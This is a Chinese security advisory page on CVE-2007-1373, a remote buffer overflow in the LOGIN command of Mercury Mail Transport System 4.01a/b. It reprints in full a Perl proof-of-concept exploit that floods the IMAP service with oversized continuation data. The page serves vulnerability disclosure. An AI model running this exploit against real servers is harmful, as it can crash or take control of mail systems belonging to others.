安全研究

安全漏洞
Mercury Mail Transport System LOGIN命令远程缓冲区溢出漏洞

发布日期:2007-03-06
更新日期:2007-03-06

受影响系统:
Pegasus Mail Mercury Mail Transport System 4.01b
Pegasus Mail Mercury Mail Transport System 4.01a
描述:
CVE(CAN) ID: CVE-2007-1373

Mercury Mail Transport System是一款综合的Internet邮件服务器系统。

Mercury Mail Transport System在处理还有特定超长参数的LOGIN命令时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制服务器。



<**>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl
#
# mercurypown-v1.pl
#
# Mercury/32 <v4.01b (win32) remote exploit
# by mu-b - 28 Nov 2006
#
# - Tested on: Mercury/32 v4.01a (win32)
#              Mercury/32 v4.01b (win32)
#
# Stack-based buffer overflow caused by Mercury/32 concatenating
# continuation data into a fixed sized buffer disregarding
# the length of the original command, you do not require authentication.
#
# This is a little harder to exploit than usual since the
# stack frame in question calls end_thread before returning..
# buts it's still possible by at *least* two different ways...
# (i.e. controlling a pointer into sprintf and/or controlling
#  a pointer to be free()).
#
########

use Getopt::Std; getopts('t:n:', \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 1;

my $NOP = 'A';
my $LEN = 9200;#8928;
my $BUFLEN = 8192;

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");
    $buf = "1 LOGIN".(" "x($LEN-$BUFLEN))."\{255\}\n";
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Sending payload\n");
    $buf = $NOP x 255;
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Sending payload 2\n");
    $buf = $NOP x $BUFLEN;
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("Mercury/32 <v4.01b (win32) remote exploit\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
    print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1337);
}

建议:
厂商补丁:

Pegasus Mail
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.pmail.com/

浏览次数:2555
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障